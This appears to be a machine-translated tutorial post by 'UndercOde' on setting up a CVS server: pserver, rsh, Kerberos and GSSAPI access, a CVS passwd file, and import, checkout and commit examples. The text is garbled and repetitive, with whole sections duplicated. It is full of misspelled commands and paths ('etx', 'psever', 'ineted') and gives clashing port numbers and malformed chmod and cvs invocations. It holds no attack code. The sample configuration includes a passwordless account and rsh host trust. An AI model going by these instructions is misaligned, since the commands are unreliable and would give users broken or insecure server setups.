9) CVS user management. In the default state (such as telnet login), the same user name and password as the Linux system That is: As long as you log in to the Linux system, you have read-only permissions for $ CVSROOT. Of course, for a software developer, you must have read-write permissions for the corresponding directory to complete the source code upgrade and other tasks. Therefore CVS also provides its own user authentication system to manage users more conveniently.
10) On the server side, there can be a passwd file under $ CVSROOT / CVSROOT (which can be defined with the environment variable CVS_PASSFILE.) To record cvs user information. He uses It is the same organization form as linux etc / passwd. Similarly, its passwold is also encrypted by linux standard. Here is the content of a passwd
anyone:
tom: xyzkue
mary: yuio: pubcvs
11) The first line means that when you log in as anyone, no password is required. Even if you type an empty string, of course, what you get in this way may be read-only rights. The second line means, Tom needs to enter passwold when logging in. The passworld is encrypted with xyzkue. After logging in in this way, generally higher permissions can be obtained
π¦CVS remote user management by UndercOde :
instagram.com/UndercOdeTestingCompany
1) as a CVS server, you should Two points. First, ensure that the software library has enough space. Second, ensure that there is no less than 32M of memory. The server generates two processes for each user who connects to it.
2) The cost of the child process is small. But if the network bandwidth not enough, spending on the parent process is enormous.
3) Another big spending is diff file, when large source files, authenticates him or expenses detection is also great.
π¦ remote user login authentication method
> to rsh for routine remote login
1) Cvs server should use rsh to allow users to connect. Rshosts should be configured.
2) Assume that the user tom on the remote host tom.exsample.com needs to connect to the funame.simple.com cvs server to work. The server-side bach directory should be edited. Add
> Tom.exsample.com tom
> client to run rsh -l bach funame.simple.com 'echo @PATH
3) to make sure that you can connect to the CVS server, and the client should write the displayed path to .bashrc or cshrc (Instead of .logiin or .profile.)
4) In addition, the client can also define the environment variable CVS_SEVER. To define the location of the host. On the server side, modify the /etc/ineted.conf file to tell the server to get specific When the port is connected, run cvssever.
5) The default value of this port number is: 2041. Of course, in order not to be set every time you use it, you can use it by defining the environment variable CVS_AUTH_PORT on the
> client . Call, just add the following sentence in /etc/ineted.conf file to 2401 stream tcp nowait root / usr / local / bin / cvs cvs --f --allow --root = / cvsroot pserver
6) can also use the -T option to define the buffer directory.
βallow β root defines the software libraries available to users. If there are more software libraries on the server, this sentence needs to be reused. In addition, internal users can do this Define the environment variable CVSROOT
: pseve: usr@funam.simple.com: / cvsroot
7) Where usr is the username (for linux) funam.simple.com is the cvs server, and assumes / cvsroot is the directory name of the software library. The remote user can use the following form::
etx: psever: usr@funam.silple.com: / cvsroot
: etx: It is defined as a remote user, and the rest is the same as above.
8) If the client's ineted is used by general calls, only in / etc / seveice Add the following sentence:
cvspsever 2401 / tcp
restart ineted to read the initialization file.
9) CVS user management. In the default state (such as telnet login), the same user name and password as the Linux system That is: As long as you log in to the Linux system, you have read-only permissions for $ CVSROOT. Of course, for a software developer, you must have read-write permissions for the corresponding directory to complete the source code upgrade and other tasks. Therefore CVS also provides its own user authentication system to manage users more conveniently.
10) On the server side, there can be a passwd file under $ CVSROOT / CVSROOT (which can be defined with the environment variable CVS_PASSFILE.) To record cvs user information. He uses It is the same organization form as linux etc / passwd. Similarly, its passwold is also encrypted by linux standard. Here is the content of a passwd
anyone:
tom: xyzkue
mary: yuio: pubcvs
11) The first line means that when you log in as anyone, no password is required. Even if you type an empty string, of course, what you get in this way may be read-only rights. The second line means, Tom needs to enter passwold when logging in. The passworld is encrypted with xyzkue. After logging in in this way, generally higher permissions can be obtained
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦CVS remote user management by UndercOde :
Part 2:
pinterest.com/UndercOdeOfficial
1) The third line means that when mary logs in, the password needs to be entered. Enter and system users The same software library. The purpose of doing this is because .cvs will record all the actions of its users in the software library. Definitions and system users have different identities. Using cvs.
> For example; using user tom can log in in the following ways :
$ cvs --d: etx: tom@funam.simple.com: / cvsroot login
(If the user name tom is the same internally at the remote end, tom @ can also be omitted)
3) At the same time, you can use cvs loginout to change all Environment variables are revoked.
4) Accessing
CVS using GASSAPI also supports TCP direct access using GASSAPI. Before using Anzhuan, you need to recompile CVS to get GASSAPI support. Use --with --gassapi to connect, or use -a to select the direction Connect One way to use the same room and authenticate the GASSAPI.
5) However, when login is required to redefine $ CVSROOT such as:.
$ CVS -d: gsever: usr@cvssever.com: / CVSROOT Login
kerberos is directly connected
simplest use of rsh The method is described above. The main feature of this method is that all data is passed through an additional program. It is very time consuming. If kerberos is installed, you can directly use TCP connection.
6) Similarly, CVS needs to be recompiled to get keberos support. --With-krb4 can be used to connect. The data transmitted in this way is not encrypted. If you want to obtain security, you must use `` --enable-encryption '' on both the server and the client. At this time, you need to use the general variable -x to require encryption. You
need to edit inetd.conf on the server to run cvs kserver. The default port number of the client is 1999. If you want to use another port number, you need to define it on the user side. CVS_CLIENT_PORT
at this time should be the login command
9) cvs -d: kserver: faun.example.org: / usr / local / cvsroot checkout foo
with fork connection
with this mode, you can connect a local hard disk via the remote protocol software library in other words. He can have the same function as: local: The login command in this way is
cvs -d: fork: / usr / local / cvsroot login
and the same as: etx :. The default host name is cvs
Cvs server rack application example
π¦CVS remote user management by UndercOde :
Part 2:
pinterest.com/UndercOdeOfficial
1) The third line means that when mary logs in, the password needs to be entered. Enter and system users The same software library. The purpose of doing this is because .cvs will record all the actions of its users in the software library. Definitions and system users have different identities. Using cvs.
> For example; using user tom can log in in the following ways :
$ cvs --d: etx: tom@funam.simple.com: / cvsroot login
(If the user name tom is the same internally at the remote end, tom @ can also be omitted)
3) At the same time, you can use cvs loginout to change all Environment variables are revoked.
4) Accessing
CVS using GASSAPI also supports TCP direct access using GASSAPI. Before using Anzhuan, you need to recompile CVS to get GASSAPI support. Use --with --gassapi to connect, or use -a to select the direction Connect One way to use the same room and authenticate the GASSAPI.
5) However, when login is required to redefine $ CVSROOT such as:.
$ CVS -d: gsever: usr@cvssever.com: / CVSROOT Login
kerberos is directly connected
simplest use of rsh The method is described above. The main feature of this method is that all data is passed through an additional program. It is very time consuming. If kerberos is installed, you can directly use TCP connection.
6) Similarly, CVS needs to be recompiled to get keberos support. --With-krb4 can be used to connect. The data transmitted in this way is not encrypted. If you want to obtain security, you must use `` --enable-encryption '' on both the server and the client. At this time, you need to use the general variable -x to require encryption. You
need to edit inetd.conf on the server to run cvs kserver. The default port number of the client is 1999. If you want to use another port number, you need to define it on the user side. CVS_CLIENT_PORT
at this time should be the login command
9) cvs -d: kserver: faun.example.org: / usr / local / cvsroot checkout foo
with fork connection
with this mode, you can connect a local hard disk via the remote protocol software library in other words. He can have the same function as: local: The login command in this way is
cvs -d: fork: / usr / local / cvsroot login
and the same as: etx :. The default host name is cvs
Cvs server rack application example
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β ββ β β ο½ππ»βΊπ«Δπ¬πβ β β β
π¦ SERVER SETUP BY UNDERCODE :
If you have installed cvs, it is very easy to set up a server with cvs host cvs.exam.org. The steps are as follows:
instagram.com/UndercOdeTestingCompany
A) 1) Log in as root. Building a software repository (repository)
$ export CVSROOT = / cvsroot
$ mkdir / cvsroot
$ cd / cvsroot
$ cvs init
2) Set execute permissions
$ chmod / cvsroot / CVSROOT 744 (/ ccvsroo / CVSOOT set to read-only)
$ chmod / cvsroot 764 Group number (/ cvsroot for development (The group can read and write)
3)Modify the file for the benefit of others. Because the development team is a system user, it is better to use the system user name and password here. Edit the rhosts file as follows:
tom.example.com. Tom
modify /Etc/inetd.conf file on the server, add the following sentence
2401 stream tcp nowait root / usr / local / bin / cvs cvs -f --allow-root = / usr / cvsroot pserver. In
this way, a basic cvs The server is built.
We just provide a basic application here. The real details of the cvs application are very complicated. We only introduce some introductions here. Friends with interest can read its installation documentation.
B) 1) Application examples
( use cvs system on the host, you can telnet to the host, and then use, and no difference in the use of this machine, so this has been no mention of)
2) the assumption in the above example tom on the system you want to use cvs cvs host to everyone and collaborative development. It is the first camp to configure some of their own environment variables first edit / etc / services '' adding:
cvspserver 2401 / tcp
then add the following code to the .profile file
CVSROOT =: etx: psever: tom@cvs.exam.org: / cvsroot
Export CVSROOT
3) so he can use $ cvs login to log in. Below we will use tom The specific use is to explain the application of cvs. Like other linux commands. Cvs also has a large number of parameters. We will make a list in the next section.
Tom has the following file
Ecample.c exampl2.c tes1 in the / usr / test directory .c test2.c utimel.c tty.c
If you want to create your own directory in the software library
$ cd / usr / test
~ test $ cvs import βm βtom first creationβ tomdir tom tomwork
N tomdit / example.c
N tomdit / exampl2.c
N tomdir / test1.c
N tomdir / test2.c
N tomdir / utmel.c
N tomdit / tty.c
4) No conflicts creat by this import
command description import submit command -m followed by description.tom publisher tomwork is a release Label. If the prompt CVSROOT is wrong, you can use--d and add CVSROOT
Note: For all cvs commands, you can use cvs command -H to get help. At this time, there is a tomdir subdirectory under the / cvs directory on the server side. Contents:
example.c, v exampl2.c, v test1.c, v test2 .c, v tty.c, v utimel.c, v
This time the first submission is completed.
This way, you don't need to worry about accidentally deleting the test directory. Use the following command to check out a backup of the source file from the software library
$ / cd usr
`` usr $ / cvs checkout test tomdir-r 1.1
U test / exsample.c
U test / exampl1.c
U test / test1.c
U test / test2.c
U test / tty.c
U test / ulnem.c
6) The cvs checkout command is to get the latest version by default. We can also get an old version. This command is to remove the 1.1 version of tomdir code. After recovery, a CVS directory is added to manage the test directory. When submitting or modifying once, it interfaces with the management files on the server to ensure a good version. This example is very small. In reality, it is very likely that there are many files in the project, so you can restore the CVSROOT module first
~ usr / $ cvs checkout CVSROOT / mouldes
~ / usr / $ vi CVSROOT / mouldes Edit the module name, such as we add
src p to the end of the file roject / src
print project / src / print
After cvs commit
, we can use cvs checkout print instead of
cvs checkout project / src / print
. After editing, we can commit the file
π¦ SERVER SETUP BY UNDERCODE :
If you have installed cvs, it is very easy to set up a server with cvs host cvs.exam.org. The steps are as follows:
instagram.com/UndercOdeTestingCompany
A) 1) Log in as root. Building a software repository (repository)
$ export CVSROOT = / cvsroot
$ mkdir / cvsroot
$ cd / cvsroot
$ cvs init
2) Set execute permissions
$ chmod / cvsroot / CVSROOT 744 (/ ccvsroo / CVSOOT set to read-only)
$ chmod / cvsroot 764 Group number (/ cvsroot for development (The group can read and write)
3)Modify the file for the benefit of others. Because the development team is a system user, it is better to use the system user name and password here. Edit the rhosts file as follows:
tom.example.com. Tom
modify /Etc/inetd.conf file on the server, add the following sentence
2401 stream tcp nowait root / usr / local / bin / cvs cvs -f --allow-root = / usr / cvsroot pserver. In
this way, a basic cvs The server is built.
We just provide a basic application here. The real details of the cvs application are very complicated. We only introduce some introductions here. Friends with interest can read its installation documentation.
B) 1) Application examples
( use cvs system on the host, you can telnet to the host, and then use, and no difference in the use of this machine, so this has been no mention of)
2) the assumption in the above example tom on the system you want to use cvs cvs host to everyone and collaborative development. It is the first camp to configure some of their own environment variables first edit / etc / services '' adding:
cvspserver 2401 / tcp
then add the following code to the .profile file
CVSROOT =: etx: psever: tom@cvs.exam.org: / cvsroot
Export CVSROOT
3) so he can use $ cvs login to log in. Below we will use tom The specific use is to explain the application of cvs. Like other linux commands. Cvs also has a large number of parameters. We will make a list in the next section.
Tom has the following file
Ecample.c exampl2.c tes1 in the / usr / test directory .c test2.c utimel.c tty.c
If you want to create your own directory in the software library
$ cd / usr / test
~ test $ cvs import βm βtom first creationβ tomdir tom tomwork
N tomdit / example.c
N tomdit / exampl2.c
N tomdir / test1.c
N tomdir / test2.c
N tomdir / utmel.c
N tomdit / tty.c
4) No conflicts creat by this import
command description import submit command -m followed by description.tom publisher tomwork is a release Label. If the prompt CVSROOT is wrong, you can use--d and add CVSROOT
Note: For all cvs commands, you can use cvs command -H to get help. At this time, there is a tomdir subdirectory under the / cvs directory on the server side. Contents:
example.c, v exampl2.c, v test1.c, v test2 .c, v tty.c, v utimel.c, v
This time the first submission is completed.
This way, you don't need to worry about accidentally deleting the test directory. Use the following command to check out a backup of the source file from the software library
$ / cd usr
`` usr $ / cvs checkout test tomdir-r 1.1
U test / exsample.c
U test / exampl1.c
U test / test1.c
U test / test2.c
U test / tty.c
U test / ulnem.c
6) The cvs checkout command is to get the latest version by default. We can also get an old version. This command is to remove the 1.1 version of tomdir code. After recovery, a CVS directory is added to manage the test directory. When submitting or modifying once, it interfaces with the management files on the server to ensure a good version. This example is very small. In reality, it is very likely that there are many files in the project, so you can restore the CVSROOT module first
~ usr / $ cvs checkout CVSROOT / mouldes
~ / usr / $ vi CVSROOT / mouldes Edit the module name, such as we add
src p to the end of the file roject / src
print project / src / print
After cvs commit
, we can use cvs checkout print instead of
cvs checkout project / src / print
. After editing, we can commit the file
~ usr / $ cvs commit -m βedit of mouldes nameβ CVSROOT / mould except that we can restore the entire directory. You can restore a single file or module
~ usr / test / $ cvs checkout -m "newer file" tty.c
After restoring the file, tom can use various editors to modify the source file and submit it after the modification is completed The result of its work is
~ / usr / cvs commit test tomdir. In
this way, tom has completed an update of the source file. Other similar reasons can be obtained
~ usr / test / $ cvs checkout -m "newer file" tty.c
After restoring the file, tom can use various editors to modify the source file and submit it after the modification is completed The result of its work is
~ / usr / cvs commit test tomdir. In
this way, tom has completed an update of the source file. Other similar reasons can be obtained
Written by UndercOde
β β β ο½ππ»βΊπ«Δπ¬πβ β β β